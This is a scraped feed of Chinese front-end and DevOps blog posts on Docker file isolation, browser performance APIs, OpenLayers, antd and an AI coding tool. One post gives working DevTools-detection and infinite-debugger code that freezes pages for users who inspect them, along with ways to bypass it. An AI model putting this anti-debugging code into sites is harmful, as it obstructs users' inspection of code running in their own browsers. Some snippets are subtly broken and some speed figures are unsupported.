【延伸补充】深入原理5:docker 容器文件隔离和共享的秘密

文件隔离

docker 容器的文件系统是跟宿主机隔离的,在 docker 里,我们能看到一份独立的文件系统。linux 如何实现的呢?

实际上 linux 也是用了障眼法做到的,如下图,首先假设下图是正常的某台 linux 机器的目录结构:

然后我们希望 docker 容器跟 joe 目录(最右边最后一个目录)拿来作为容器的根目录,使用 linux 的 Mount Namespac 功能 + chroot 命令,结果如下图:

容器的根目录,挂载到了宿主机的 joe 目录。由于 Mount Namespace 技术的特性,这个容器的根目录对于宿主机是看不见的。

而这在某些情况下不是我们想要的。比如数据库文件,我们想留在宿主机上,这样重启容器的时候,依然保留了数据库的数据。

而这里要使用到的挂载技术,就是Linux的绑定挂载(bind mount)机制。它的主要作用就是,允许你将一个目录或者文件,而不是整个设备,挂载到一个指定的目录上。并且,这时你在该挂载点上进行的任何操作,只是发生在被挂载的目录或者文件上,而原挂载点的内容则会被隐藏起来且不受影响。

文件共享

由于容器的特性,如果容器删除,那么容器里的数据也会删除,之前的挂载功能也会解除。可是在某些情况下,我们希望保留容器里的数据,例如数据库,方便再下一次启动镜像的时候能共享之前容器的数据。

这个功能在 docker 叫做绑定 Volume 功能。 这个功能的实现其实很简单,之间我们讲的绑定挂载,其实需要分为两步,第一步开启 Mount Namespace,此时容器内部仍然可以看到宿主机的目录,但是宿主机看不到容器的目录,第二步执行类似 chroot 命令,可以简单理解为执行后,容器就看不到宿主机目录了。

所以我们可以在第一步之前,把 Volume 指定的宿主机目录(比如/home目录),挂载到指定的容器目录(比如/test目录)在宿主机上对应的目录上,这个 Volume 的挂载工作就完成了。

最后补充

补充,之前前端部署的 dockerfile 一般都会用分阶段构建的方法,首先借助 node.js 镜像打包前端应用,然后将打包好的内容放入 nginx 镜像中,最后借助 nginx 作为 web 服务器,来让外网访问。我们简单实现一下,可用在生产环境:

# Use the official Node.js runtime as the base image
FROM node:20-slim as build

# Set the working directory in the container
WORKDIR /app

# Copy package.json and package-lock.json to the working directory
COPY package*.json ./

# Install dependencies
RUN npm install

# Copy the entire application code to the container
COPY . .

# Build the React app for production
RUN npm run build

# Use Nginx as the production server
FROM nginx:alpine

# Copy the built React app to Nginx's web server directory
COPY --from=build /app/build /usr/share/nginx/html

# Expose port 80 for the Nginx server
EXPOSE 80

# Start Nginx when the container runs
CMD ["nginx", "-g", "daemon off;"]

需要注意的是

COPY --from=build /app/build /usr/share/nginx/html

--from build , 这个 build 就是 FROM node:20-slim as build 中,node.js 镜像的别名。意思是把这个镜像中 /app/build 目录下的文件复制到 nginx:alpine 镜像的 /usr/share/nginx/html 文件夹下。

欢迎加入交流群

欢迎大家一起进群讨论前端全栈技术和 ai agent ,一起进步!

性能飞跃!这几个现代浏览器API让页面加载速度提升至90+

作者 大知闲闲i
2025年12月9日 10:55

===

项目上线后,随着用户量增长,页面性能急剧下降?首屏加载超过3秒,滚动时频繁掉帧,甚至导致设备发烫?这些问题不仅影响用户体验,也直接影响业务转化率。

今天,我将分享在真实项目中验证有效的几个个浏览器API,帮助你将页面性能优化,让用户体验焕然一新。

1. IntersectionObserver:智能懒加载解决方案

传统滚动监听方式会导致主线程阻塞,而IntersectionObserver将元素可见性判断交给浏览器,效率显著提升。

// 创建懒加载观察器
const lazyLoadObserver = new IntersectionObserver((entries) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      const element = entry.target;
      
      // 图片懒加载
      if (element.tagName === 'IMG') {
        element.src = element.dataset.src;
      }
      
      // 组件懒加载
      if (element.dataset.module) {
        loadModule(element.dataset.module);
      }
      
      // 停止观察已加载元素
      lazyLoadObserver.unobserve(element);
    }
  });
}, {
  rootMargin: '50px', // 提前50px开始加载
  threshold: 0.1
});

// 初始化懒加载元素
document.querySelectorAll('[data-lazy]').forEach(el => {
  lazyLoadObserver.observe(el);
});

效果:首屏加载时间减少40%,滚动流畅度提升60%,CPU占用率降低30%。

2. requestIdleCallback:智能任务调度器

将非关键任务推迟到浏览器空闲时段执行,避免阻塞用户交互。

// 创建低优先级任务队列
const lowPriorityTasks = [  () => sendAnalytics('page_view'),  () => prefetchNextPageResources(),  () => cleanUpOldCache(),];

// 在空闲时段执行任务
function scheduleIdleTasks() {
  requestIdleCallback((deadline) => {
    while (deadline.timeRemaining() > 0 && lowPriorityTasks.length > 0) {
      const task = lowPriorityTasks.shift();
      task();
    }
    
    // 如果还有任务未执行,继续调度
    if (lowPriorityTasks.length > 0) {
      scheduleIdleTasks();
    }
  }, { timeout: 2000 }); // 最长等待2秒
}

// 页面加载完成后开始调度
window.addEventListener('load', scheduleIdleTasks);

3. requestAnimationFrame:流畅动画的保证

告别setTimeout卡顿,让动画与屏幕刷新率完美同步。

class SmoothAnimator {
  constructor(element, duration = 300) {
    this.element = element;
    this.duration = duration;
    this.startTime = null;
  }
  
  animate(property, startValue, endValue) {
    const animateFrame = (currentTime) => {
      if (!this.startTime) this.startTime = currentTime;
      
      const elapsed = currentTime - this.startTime;
      const progress = Math.min(elapsed / this.duration, 1);
      
      // 使用缓动函数提升动画质感
      const easedProgress = this.easeOutCubic(progress);
      const currentValue = startValue + (endValue - startValue) * easedProgress;
      
      this.element.style[property] = currentValue;
      
      if (progress < 1) {
        requestAnimationFrame(animateFrame);
      }
    };
    
    requestAnimationFrame(animateFrame);
  }
  
  easeOutCubic(t) {
    return 1 - Math.pow(1 - t, 3);
  }
}

// 使用示例
const animator = new SmoothAnimator(document.getElementById('box'));
animator.animate('translateX', 0, 300);

4. ResizeObserver:响应式设计的利器

精确监听元素尺寸变化,告别不必要的全局重排。

class ResponsiveComponent {
  constructor(container) {
    this.container = container;
    this.resizeObserver = new ResizeObserver(this.handleResize.bind(this));
    this.resizeObserver.observe(container);
    
    // 防抖处理,避免频繁触发
    this.debouncedResize = this.debounce(this.updateLayout, 100);
  }
  
  handleResize(entries) {
    for (const entry of entries) {
      const { width, height } = entry.contentRect;
      
      // 只有尺寸发生显著变化时才更新
      if (Math.abs(width - this.lastWidth) > 10 || 
          Math.abs(height - this.lastHeight) > 10) {
        this.debouncedResize(width, height);
        this.lastWidth = width;
        this.lastHeight = height;
      }
    }
  }
  
  updateLayout(width, height) {
    // 根据新尺寸更新布局
    if (width < 768) this.applyMobileLayout();
    else if (width < 1024) this.applyTabletLayout();
    else this.applyDesktopLayout();
  }
  
  debounce(fn, delay) {
    let timer;
    return (...args) => {
      clearTimeout(timer);
      timer = setTimeout(() => fn.apply(this, args), delay);
    };
  }
}

5. performance API:精准性能监控系统

构建完整的性能监控体系,找出真正的性能瓶颈。

class PerformanceMonitor {
  constructor() {
    this.metrics = new Map();
  }
  
  // 标记关键时间点
  mark(name) {
    performance.mark(`${name}-start`);
    this.metrics.set(name, {
      start: performance.now(),
      count: 0
    });
  }
  
  // 测量性能指标
  measure(metricName, startMark, endMark) {
    performance.measure(metricName, startMark, endMark);
    
    const measures = performance.getEntriesByName(metricName);
    const lastMeasure = measures[measures.length - 1];
    
    console.log(`${metricName}: ${lastMeasure.duration.toFixed(2)}ms`);
    
    // 上报到监控系统
    this.reportMetric(metricName, lastMeasure.duration);
  }
  
  // 监控长任务
  monitorLongTasks() {
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        if (entry.duration > 50) { // 超过50ms的任务
          console.warn('长任务警告:', entry);
          this.optimizeLongTask(entry);
        }
      }
    });
    
    observer.observe({ entryTypes: ['longtask'] });
  }
  
  // 监控首次输入延迟
  monitorFID() {
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        console.log('首次输入延迟:', entry.processingStart - entry.startTime);
      }
    });
    
    observer.observe({ entryTypes: ['first-input'] });
  }
}

6. 智能预加载策略

结合preload和prefetch,打造无缝加载体验。

<!DOCTYPE html>
<html>
<head>
  <!-- 关键CSS立即加载 -->
  <link rel="preload" href="critical.css" as="style" onload="this.rel='stylesheet'">
  
  <!-- 首屏必要字体 -->
  <link rel="preload" href="fonts.woff2" as="font" type="font/woff2" crossorigin>
  
  <!-- 首屏必要图片 -->
  <link rel="preload" href="hero-image.jpg" as="image">
  
  <!-- 非关键CSS异步加载 -->
  <link rel="prefetch" href="non-critical.css" as="style">
  
  <!-- 预加载下一页资源 -->
  <link rel="prefetch" href="next-page.js" as="script">
  <link rel="prefetch" href="next-page-data.json" as="fetch">
</head>
</html>

// 动态预加载
class ResourcePreloader {
  constructor() {
    this.visibleLinks = new Set();
    this.initIntersectionObserver();
  }
  
  initIntersectionObserver() {
    const observer = new IntersectionObserver((entries) => {
      entries.forEach(entry => {
        if (entry.isIntersecting) {
          const link = entry.target.href;
          if (!this.visibleLinks.has(link)) {
            this.prefetchResource(link);
            this.visibleLinks.add(link);
          }
        }
      });
    });
    
    // 监听页面内所有链接
    document.querySelectorAll('a[href^="/"]').forEach(link => {
      observer.observe(link);
    });
  }
  
  prefetchResource(url) {
    // 创建prefetch链接
    const link = document.createElement('link');
    link.rel = 'prefetch';
    link.href = url;
    link.as = this.getResourceType(url);
    document.head.appendChild(link);
  }
  
  getResourceType(url) {
    if (url.endsWith('.js')) return 'script';
    if (url.endsWith('.css')) return 'style';
    if (url.endsWith('.json')) return 'fetch';
    return 'fetch';
  }
}

7. Cache API + Service Worker:离线优先架构

构建可靠的离线缓存策略,提升重复访问性能。

// service-worker.js
const CACHE_VERSION = 'v1.3';
const CACHE_NAME = `app-cache-${CACHE_VERSION}`;

// 静态资源缓存策略
const STATIC_RESOURCES = [
  '/',
  '/index.html',
  '/main.css',
  '/app.js',
  '/manifest.json'
];

// 安装阶段:缓存核心资源
self.addEventListener('install', event => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => cache.addAll(STATIC_RESOURCES))
      .then(() => self.skipWaiting())
  );
});

// 激活阶段:清理旧缓存
self.addEventListener('activate', event => {
  event.waitUntil(
    caches.keys().then(cacheNames => {
      return Promise.all(
        cacheNames.map(cacheName => {
          if (cacheName !== CACHE_NAME) {
            return caches.delete(cacheName);
          }
        })
      );
    }).then(() => self.clients.claim())
  );
});

// 请求拦截:智能缓存策略
self.addEventListener('fetch', event => {
  const request = event.request;
  
  // 忽略非GET请求
  if (request.method !== 'GET') return;
  
  // 忽略chrome-extension等特殊协议
  if (!request.url.startsWith('http')) return;
  
  event.respondWith(
    caches.match(request).then(cachedResponse => {
      // 网络优先,缓存兜底策略
      const fetchPromise = fetch(request).then(networkResponse => {
        // 如果是成功响应,更新缓存
        if (networkResponse.ok) {
          const clone = networkResponse.clone();
          caches.open(CACHE_NAME).then(cache => {
            cache.put(request, clone);
          });
        }
        return networkResponse;
      }).catch(() => {
        // 网络失败,返回缓存
        if (cachedResponse) return cachedResponse;
        
        // 连缓存也没有,返回离线页面
        return caches.match('/offline.html');
      });
      
      return cachedResponse || fetchPromise;
    })
  );
});

8. Web Workers:复杂计算的后台处理

将CPU密集型任务移出主线程,保持UI响应性。

// 主线程:任务管理
class ComputationManager {
  constructor() {
    this.worker = new Worker('compute.worker.js');
    this.callbacks = new Map();
    this.taskId = 0;
    
    this.worker.onmessage = (event) => {
      const { taskId, result, type } = event.data;
      
      if (type === 'result' && this.callbacks.has(taskId)) {
        const { resolve, reject } = this.callbacks.get(taskId);
        resolve(result);
        this.callbacks.delete(taskId);
      }
    };
    
    this.worker.onerror = (error) => {
      console.error('Worker error:', error);
      // 错误处理逻辑
    };
  }
  
  // 提交计算任务
  submitTask(data, transferable = []) {
    return new Promise((resolve, reject) => {
      const taskId = ++this.taskId;
      
      this.callbacks.set(taskId, { resolve, reject });
      
      this.worker.postMessage(
        { taskId, data },
        transferable.length ? transferable : undefined
      );
    });
  }
  
  // 批量处理大量数据
  async processLargeDataset(dataset) {
    // 分割数据,避免单次处理过大
    const chunkSize = 1000;
    const chunks = [];
    
    for (let i = 0; i < dataset.length; i += chunkSize) {
      chunks.push(dataset.slice(i, i + chunkSize));
    }
    
    // 并行处理所有分块
    const results = await Promise.all(
      chunks.map(chunk => this.submitTask(chunk))
    );
    
    // 合并结果
    return results.flat();
  }
}

// Worker线程:专注计算
// compute.worker.js
self.onmessage = function(event) {
  const { taskId, data } = event.data;
  
  try {
    // 执行复杂计算
    const result = performHeavyComputation(data);
    
    // 返回结果
    self.postMessage({
      taskId,
      type: 'result',
      result
    });
  } catch (error) {
    self.postMessage({
      taskId,
      type: 'error',
      error: error.message
    });
  }
};

function performHeavyComputation(data) {
  // 复杂的计算逻辑
  // 例如:数据排序、图像处理、加密解密等
  return data.map(item => transform(item));
}

9. Page Visibility API:智能资源管理

根据页面可见状态优化资源使用,提升能效表现。

class ResourceManager {
  constructor() {
    this.timers = new Map();
    this.connections = new Set();
    this.isVisible = true;
    
    this.initVisibilityListener();
    this.initPerformanceMonitor();
  }
  
  initVisibilityListener() {
    document.addEventListener('visibilitychange', () => {
      this.isVisible = document.visibilityState === 'visible';
      
      if (this.isVisible) {
        this.onPageShow();
      } else {
        this.onPageHide();
      }
    });
    
    // 监听页面关闭前事件
    window.addEventListener('beforeunload', () => {
      this.cleanup();
    });
  }
  
  onPageHide() {
    console.log('页面进入后台,开始节流');
    
    // 暂停视频和音频
    this.pauseMediaElements();
    
    // 降低定时器频率
    this.throttleTimers();
    
    // 暂停WebSocket连接
    this.pauseConnections();
    
    // 停止动画
    this.pauseAnimations();
  }
  
  onPageShow() {
    console.log('页面回到前台,恢复功能');
    
    // 恢复媒体播放
    this.resumeMediaElements();
    
    // 恢复定时器
    this.restoreTimers();
    
    // 恢复连接
    this.resumeConnections();
    
    // 同步数据
    this.syncData();
  }
  
  // 智能定时器管理
  createSmartTimer(callback, interval, options = {}) {
    const timerId = Symbol('timer');
    let lastRun = 0;
    
    const smartCallback = () => {
      if (!this.isVisible && options.pauseWhenHidden) {
        return;
      }
      
      const now = Date.now();
      if (now - lastRun >= interval) {
        callback();
        lastRun = now;
      }
    };
    
    const intervalId = setInterval(smartCallback, 
      this.isVisible ? interval : (options.hiddenInterval || interval * 3));
    
    this.timers.set(timerId, {
      intervalId,
      originalInterval: interval,
      callback: smartCallback,
      options
    });
    
    return timerId;
  }
  
  throttleTimers() {
    this.timers.forEach(timer => {
      if (timer.options.pauseWhenHidden) {
        clearInterval(timer.intervalId);
      } else {
        clearInterval(timer.intervalId);
        timer.intervalId = setInterval(
          timer.callback, 
          timer.options.hiddenInterval || timer.originalInterval * 3
        );
      }
    });
  }
}

关键建议

  1. 从影响最大的优化开始(懒加载、预加载)

  2. 建立持续的性能监控体系

  3. 设置明确的性能预算

  4. 定期进行性能审计

  5. 在真实设备上进行测试

性能优化不是一次性任务,而是一个持续改进的过程。每一个优化点的积累,最终将带来质的飞跃。开始行动吧,让你的应用在性能竞争中脱颖而出!

检测开发者工具是否打开?这几种方法让黑客无处遁形🤣

作者 ErpanOmer
2025年12月9日 10:54

image.png

大家好,我来了😁。

前端代码在浏览器里是裸奔的。——这几乎是所有开发者的共识。

只要用户按一下 F12,你的源码、你的接口、你的数据结构,全部一览无余。黑客可以修改你的变量,脚本小子可以刷你的接口,竞品可以分析你的逻辑。

很多老板会问:能不能禁止用户打开控制台?

通常我们的回答是:不能。浏览器是用户的地盘,我们无权干涉。

但是, 禁止不了,不代表我们检测不到。

如果在检测到用户打开 DevTools 的那一瞬间,我们立马清空敏感数据停止视频播放、或者无限 debugger 卡死页面,是不是就能极大地提高攻击者的门槛?🤔

今天,我就来分享几种利用浏览器API技巧实现的 DevTools 检测技术


1.利用 debugger 的时间差

这是最古老、最暴力,但也最有效的方法之一。

原理:

当 DevTools 打开,并且开启了断点调试功能时,代码执行到 debugger 语句会暂停。

而不打开 DevTools 时,debugger 语句会被浏览器忽略,代码瞬间执行过去。

我们可以记录 debugger 语句前后的时间戳。如果差值过大,说明代码被暂停了——也就是说,DevTools 肯定是开着的。

具体代码👇:

function checkDevTools() {
  const start = Date.now();
  
  // 核心:这就好比在路上设个卡
  debugger; 
  
  const end = Date.now();
  
  // 如果暂停时间超过 100ms,判定为有人在调试
  if (end - start > 100) {
    console.log("警告:检测到开发者工具已打开!");
    // 这里可以执行你的防御逻辑:
    // window.location.reload(); 
    // clearSensitiveData();
  }
}

// 搞个定时器,每秒查岗一次
setInterval(checkDevTools, 1000);

优点是简单粗暴,对付小白有效。

缺点的话 有点扰民😖。如果攻击者禁用了断点功能(Deactivate breakpoints),或者设置⚙中配置了Never pause here,这招就废了。


2.利用 console.log 的对象懒加载

这是一个非常骚的检测方法,利用了 Chrome 控制台的一个特性:对象求值(Object Evaluation)

原理:

当你执行 console.log(obj) 时,浏览器为了性能,并不会立刻把 obj 的所有属性打印出来。它只打印一个引用。

只有当控制台真的是打开状态,并且需要显示内容时,浏览器才会去读取这个对象的属性(getters)。

我们可以给一个对象定义一个 getter(读取器)。如果这个 getter 被触发了,就说明有一个观察者(DevTools)正在看它

直接上代码👇:

const element = new Image();

Object.defineProperty(element, 'id', {
  get: function () {
    // 只有当 DevTools 打开时,浏览器尝试获取 element.id 来显示详情
    // 这个 getter 才会执行
    console.log('抓到你了!DevTools 是开着的!');
    
    // 执行防御逻辑
    alert('请关闭开发者工具继续浏览!');
    
    return 'detected';
  }
});

// 定时打印这个 element
// 如果控制台没开,log 只是静默执行,不会触发 getter
// 如果控制台开了,log 为了显示 element 的详情,会触发 getter
setInterval(() => {
  console.log(element);
  console.clear(); // 刷屏清空,防止用户发现
}, 1000);

优点是隐蔽性极强,不需要 debugger,不会打断代码执行。缺点呢?严重依赖浏览器实现。Chrome 上效果最好,Firefox/Safari 的行为可能不同。


3.无限 Debugger (防调试)

这其实不是检测,而是劝退。

很多网站(比如某些视频站、加密小说站),会用一种让黑客极其恶心的手段:只要你敢开控制台,我就让你卡死。

原理:

利用 Function.constructor 或 eval,在一个高频循环里不断生成新的 debugger。

// 放在一个立即执行函数里
(function anonymous() {
  // 定义一个生成 debugger 的函数
  function debuggerLoop() {
    try {
      // 通过构造函数生成 debugger,防止源码被静态搜索到
      (new Function("debugger"))(); 
    } catch (e) {}
  }

  // 只要没被拦截,我就一直递归调用
  // 也可以配合 setInterval
  setInterval(() => {
    debuggerLoop();
  }, 50); // 每 50ms 炸你一次🤣
})();

效果:

image.png

一旦你打开 F12,你的浏览器就会立刻被无数个断点暂停。点击继续运行?没用,50ms 后下一个断点又来了。你的页面基本处于假死状态,根本没法操作 DOM 或发请求。

这也是为什么你在调试某些网站时,会发现 Sources 面板里全是 VMxxxx 开头的匿名脚本,而且一直卡在 debugger 上。


如何绕过呢?🤔

作为补充,我必须告诉你,这些防御都不是无敌的

对于无限 Debugger:

  1. 禁用断点:在 Chrome DevTools 里点击那个禁用所有断点的图标,世界瞬间清净了。

image.png

  1. 条件断点:在那个 debugger 行右键 -> 停用断点。

image.png

  1. 本地替换:用 Chrome 的 本地替换功能,把那段 JS 代码替换成本地空文件。

image.png

对于Getter 检测呢?🤔

黑客可以直接 Hook console.log,让它失效😖。

// 你的检测逻辑就废了
window.console.log = function() {}; 

任何前端安全手段,本质上都是 防君子,防不了小人,或者说是提高攻击门槛

在浏览器这个完全开放的环境里,没有什么秘密能真正藏得住。

不要把核心业务逻辑(比如金额计算、权限校验)放在前端。

这些检测手段,更多是用来保护知识产权(防止小白扒代码)或者反爬虫(检测到调试就停止渲染数据)。

学会这几招,起码能挡住 90% 的脚本小子。

谢谢大家.gif

openlayer选择移动图标

2025年12月9日 10:35

我们通常使用OpenLayers的内置交互,但有时需要扩展功能。ol-ext是一个OpenLayers的扩展库,其中包含了一些额外的交互和控件。ol-ext 库中的 Transform 交互组件,用于在地图上对要素进行交互式变换(旋转、缩放、平移)。

动画2.gif

  1. 首先,确保已经安装了ol-ext。如果没有,可以通过npm安装
npm install ol-ext
  1. 导入ExtTransform。
  2. 创建一个ExtTransform交互对象,并可以配置一些选项。
  3. 将该交互添加到地图中。
import ExtTransform from 'ol-ext/interaction/Transform'

 this.transform = new ExtTransform({
     // 交互模式
      enableRotatedTransform: true,    // 启用旋转后的变换
      translate: true,                 // 启用平移手柄
      stretch: true,                   // 启用拉伸(角手柄)
      scale: true,                     // 启用缩放(边手柄)
      rotate: true,                    // 启用旋转手柄
  
      // 行为控制
      keepAspectRatio: false,          // 拉伸时保持宽高比(按住Shift键)
      translateFeature: false,         // 点击要素内部时是否平移
      translateAnchor: false,          // 是否平移锚点
      noFlip: false,                   // 禁止几何图形翻转
  
      // 样式
      style: new Style({              // 控制点的样式
        image: new Circle({
          radius: 6,
          fill: new Fill({
            color: '#ff0000'
          }),
          stroke: new Stroke({
            color: '#ffffff',
            width: 2
          })
        })
      }),
  
      // 过滤器
      filter: function(feature, layer) {
        // 返回 true 表示该要素可变换
        return feature.get('transformable') === true
      }
   })
   this.map.addInteraction(this.transform)

   this.transform.setActive(false)

  //移动结束
   this.transform.on('translateend', (e)=>{
     console.log(e.target.coordinate_);
    
     // 获取变换后的几何图形
      const geometry = e.feature.getGeometry()
      console.log('变换后的坐标', geometry.getCoordinates())
  });
  
 
    // 删除变换控制点
    this.transform.on('stop', function(e) {
      console.log('变换交互停止')
    })
  

ExtTransform交互提供了多种事件,比如正在变换('transforming') 变换过程中(transform)、变换结束('transformend'),我们可以监听这些事件来执行一些操作(比如更新要素的属性或保存状态)。

ExtTransform可以动态控制变换

// 启用/禁用特定变换类型
this.transform.setTranslate(true)
this.transform.setScale(false)
this.transform.setRotate(true)
this.transform.setStretch(false)

// 设置要变换的要素
const features = this.vectorSource.getFeatures()
this.transform.setFeatures(features) // 所有要素
// 或
this.transform.setFeatures([feature1, feature2]) // 特定要素

// 清空当前变换的要素
this.transform.clear()

// 激活/停用交互
this.transform.setActive(true)  // 激活
this.transform.setActive(false) // 停用

// 设置锚点位置(默认在要素中心)
this.transform.setAnchor([x, y])

antd v3 select自定义下拉框内容失去焦点时会关闭下拉框

2025年12月9日 10:28

antd 版本 3.19.3 先说一下我遇到的问题,项目中需要做多日期对比,本来想使用 DatePicker 组件,每次选择一个日期,感觉这样写太过简单,于是,就想结合 SelectCalendar 组件一起使用,想法是很美好的,操作起来就困难重重了,我想要的效果如下图:

采用的是Select 的中 dropdownRender自定义下拉框内容,但是自定义内容中包含Select的话就会因失去焦点而关闭,无法选择,查了很多资料,都说如下方法可以解决,试了很多次都无效,于是就换了一种写法,自己写一个类似Select的组件不就行了,于是就选择了Dropdown

<Select
  dropdownRender={() => (
    <div
      onMouseDown={(e) => {
        e.preventDefault();
        e.stopPropagation();
      }}
    >
      Some Content
    </div>
  )}
/>

对于 Calendar组件,要使用dateFullCellRender,重新单元格,方便添加选中样式,只需要稍微修改一下样式就可以了。

// CalendarPage.css
.my_calendar .ant-fullcalendar-cell .ant-fullcalendar-selected-day .ant-fullcalendar-value {
  color: #fff !important;
  background: #1677ff !important;
}

.my_calendar .ant-fullcalendar-cell.ant-fullcalendar-selected-day .ant-fullcalendar-value {
  color: unset;
  background: unset;
}

.my_calendar_menu {
  max-height: 300px;
  overflow: auto;
}

Calendar组件二次封装

import React from 'react';
import { Calendar, Card, Row, Col, Menu, Dropdown, Button } from 'antd'
import { DownOutlined } from '@ant-design/icons'
import moment from 'moment'
import './CalendarPage.css'
const dateFormat = 'YYYY-MM-DD'
export default function CalendarPage(props) {
  const { values, handleSelect, ...resProps } = props
  return (
    <Card
      bodyStyle={{ padding: 0, width: 300 }}
      onMouseDown={e => {
        e.preventDefault()
      }}
      style={{ width: 300 }}
    >
      <Calendar
        headerRender={({ value, type, onChange, onTypeChange }) => {
          const start = 0
          const end = 12
          const monthOptions = []
          const current = value.clone()
          const localeData = value.localeData()
          const months = []
          for (let i = 0; i < 12; i++) {
            current.month(i)
            months.push(localeData.monthsShort(current))
          }
          for (let index = start; index < end; index++) {
            monthOptions.push(
              <Menu.Item className="month-item" key={`${index}`}>
                {months[index]}
              </Menu.Item>
            )
          }
          const month = value.month()
          const year = value.year()
          const options = []
          for (let i = year - 10; i < year + 10; i += 1) {
            options.push(
              <Menu.Item key={i} value={i} className="year-item">
                {i}
              </Menu.Item>
            )
          }
          const menu = (
            <Menu
              size="small"
              onClick={newYear => {
                const now = value.clone().year(newYear.key)
                onChange(now)
              }}
              className="my_calendar_menu"
            >
            {options}
            </Menu>
          )
          const menu2 = (
            <Menu
              size="small"
              onClick={selectedMonth => {
                const newValue = value.clone()
                newValue.month(parseInt(selectedMonth.key, 10))
                onChange(newValue)
              }}
              className="my_calendar_menu"
            >
            {monthOptions}
            </Menu>
          )
          return (
            <div style={{ padding: 10 }}>
              <Row type="flex" justify="end">
                <Col>
                  <Dropdown size="small" overlay={menu}>
                    <Button>
                      {String(year)}
                      <DownOutlined />
                    </Button>
                  </Dropdown>
                </Col>
                <Col>
                  <Dropdown size="small" overlay={menu2}>
                    <Button style={{ marginLeft: 10 }}>
                      {months[month]}
                      <DownOutlined />
                    </Button>
                  </Dropdown>
                </Col>
              </Row>
            </div>
          )
        }}
        fullscreen={false}
        className="calendar"
        dateFullCellRender={date => {
          let de = moment(date).format(dateFormat)
          let cls = ''
          if (values && values.indexOf(de) !== -1) {
            cls = 'ant-fullcalendar-selected-day'
          } else {
            cls = ''
          }
          return (
            <div
              className={cls}
              onClick={() => {
                handleSelect && handleSelect(moment(date).format(dateFormat))
              }}
            >
              <div className="ant-fullcalendar-value" style={{ textAlign: 'center' }}>
                {moment(date).date()}
              </div>
            </div>
          )
        }}
        {...resProps}
      />
    </Card>
  )
}

使用

import CalendarPage from './CalendarPage'
<Select
  dropdownRender={() => (
      <CalendarPage
      handleSelect={e=>{
      // 逻辑处理,动态设置values
      }
      values={['2023-06-01', '2023-06-25']}
      />
  )}
/>

TRAE SOLO 正式版:AI全链路开发的新范式 🚀

作者 dorisrv
2025年12月9日 10:16

TRAE SOLO 正式版:AI全链路开发的新范式 🚀

🤔 为什么选择 TRAE SOLO?

在AI应用开发的全流程中,开发者往往面临着工具链割裂、协作效率低下、部署流程复杂等痛点。TRAE SOLO正式版作为一款整合式AI开发工具,通过SOLO coder、DiffView等核心功能,为开发者提供了从代码编写、调试优化到最终部署的全链路解决方案。

想象一下:

  • 当你需要快速实现一个AI功能时,SOLO coder 能智能生成高质量代码
  • 当你需要对比不同实现方案时,DiffView 能清晰展示代码差异
  • 当你需要部署应用时,工具提供了一键式部署流程

这就是TRAE SOLO带来的全新开发体验!

💡 TRAE SOLO 核心功能详解

1. SOLO coder:智能代码生成的得力助手

SOLO coder是TRAE SOLO的核心功能之一,它利用先进的AI模型,根据自然语言描述生成高质量代码。

基础使用示例

假设我们需要实现一个基于React的AI图片生成组件:

// 使用 SOLO coder 生成的 React AI 图片生成组件
import React, { useState, useRef } from 'react';
import axios from 'axios';

const AIImageGenerator = () => {
  const [prompt, setPrompt] = useState('');
  const [loading, setLoading] = useState(false);
  const [imageUrl, setImageUrl] = useState('');
  const [error, setError] = useState('');
  const fileInputRef = useRef(null);

  // 生成图片的核心函数
  const generateImage = async () => {
    if (!prompt.trim()) {
      setError('请输入描述词');
      return;
    }

    try {
      setLoading(true);
      setError('');
      setImageUrl('');

      // 调用 AI 图片生成 API
      const response = await axios.post('/api/generate-image', {
        prompt,
        n: 1,
        size: '1024x1024'
      });

      if (response.data?.images?.[0]) {
        setImageUrl(response.data.images[0]);
      } else {
        setError('图片生成失败,请重试');
      }
    } catch (err) {
      console.error('生成图片出错:', err);
      setError('网络错误,请检查连接后重试');
    } finally {
      setLoading(false);
    }
  };

  // 保存图片到本地
  const saveImage = () => {
    if (imageUrl && fileInputRef.current) {
      const link = document.createElement('a');
      link.href = imageUrl;
      link.download = `ai-image-${Date.now()}.png`;
      link.click();
    }
  };

  return (
    <div className="ai-image-generator">
      <div className="generator-header">
        <h2>✨ AI 图片生成器</h2>
        <p>输入描述词,让AI为你创作独特的图片</p>
      </div>

      <div className="generator-content">
        <div className="input-section">
          <textarea
            value={prompt}
            onChange={(e) => setPrompt(e.target.value)}
            placeholder="请输入图片描述,例如:一只可爱的柯基在草地上奔跑,阳光明媚,细节丰富"
            rows={3}
          />
          <button
            onClick={generateImage}
            disabled={loading}
            className="generate-btn"
          >
            {loading ? '生成中...' : '生成图片'}
          </button>
        </div>

        {error && <div className="error-message">⚠️ {error}</div>}

        <div className="result-section">
          {imageUrl ? (
            <div className="image-container">
              <img src={imageUrl} alt="AI生成的图片" />
              <button
                onClick={saveImage}
                className="save-btn"
              >
                💾 保存图片
              </button>
            </div>
          ) : (
            <div className="empty-state">
              <p>🎨 输入描述词,开始你的创作之旅</p>
            </div>
          )}
        </div>
      </div>
    </div>
  );
};

export default AIImageGenerator;
SOLO coder 高级技巧
  1. 精确提示工程

    // 好的提示:
    帮我生成一个使用 React Hooks 的图片上传组件,包含预览、拖拽上传、进度显示和错误处理功能
    
    // 更好的提示:
    帮我生成一个使用 React 18 + TypeScript 的图片上传组件,要求:
    1. 使用 useState 和 useRef Hooks
    2. 支持拖拽上传和点击选择
    3. 实时显示上传进度
    4. 支持 JPG、PNG、WebP 格式验证
    5. 限制文件大小为 5MB
    6. 提供友好的错误提示
    
  2. 迭代式代码生成

    • 先生成基础功能
    • 然后逐步添加高级特性
    • 最后优化性能和用户体验

2. DiffView:代码差异可视化的利器

DiffView功能让开发者能够直观地比较不同版本的代码,分析变更内容,提升协作效率和代码质量。

基础使用示例
// 原始版本:简单的图片加载组件
const ImageLoader = ({ src, alt }) => {
  return <img src={src} alt={alt} />;
};

// 优化版本:带加载状态和错误处理的图片组件
const ImageLoader = ({ src, alt, fallback }) => {
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(false);

  return (
    <div className="image-loader">
      {loading && <div className="loading-spinner">🔄 加载中...</div>}
      {error && (
        <div className="error-message">
          {fallback || '❌ 图片加载失败'}
        </div>
      )}
      <img
        src={src}
        alt={alt}
        onLoad={() => setLoading(false)}
        onError={() => {
          setLoading(false);
          setError(true);
        }}
